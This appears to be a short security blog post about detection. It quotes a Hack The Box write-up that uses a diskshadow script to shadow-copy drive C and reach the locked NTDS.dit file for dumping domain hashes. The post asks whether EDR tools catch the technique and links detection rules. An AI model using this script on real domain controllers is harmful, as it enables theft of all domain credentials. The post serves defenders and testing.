Today I learned: Using diskshadow to fetch the NTDS.dit. As mentioned several times, I love reading the HTB writeups from 0xdf because I always learn something new. Like here [1]:
"To dump the domain hashes, I’ll want to get the C:\Windows\NTDS.dit file. Unfortunately, this file can’t just be copied as it is locked and in use. I can access it via a shadow copy, which I’ll generate with diskshadow and this script:
set verbose on
set context persistent nowriters
set metadata C:\Windows\Temp\0xdf[.]cab
add volume c: alias 0xdf
create
expose %0xdf% e:
and pass it [the script from above] to diskshadow:
C:\programdata> diskshadow /s C:\programdata\backup"
Attackers love vssadmin, and so do the EDR vendors. How about diskshadow? We tested the attack flow in our lab with various EDRs, and the results were .. interesting. Would the command above trigger an alert in your environment?
And here, for reference, is the corresponding lolbas article [3]
[1] https://0xdf.gitlab.io/2025/09/19/htb-baby.html
[2] https://raw.githubusercontent.com/elastic/protections-artifacts/b5a0c1956d0aa92e2f44156bc9983c25ddc817d1/behavior/rules/windows/credential_access_credential_access_via_known_utilities.toml
[3] https://lolbas-project.github.io/lolbas/Binaries/Diskshadow/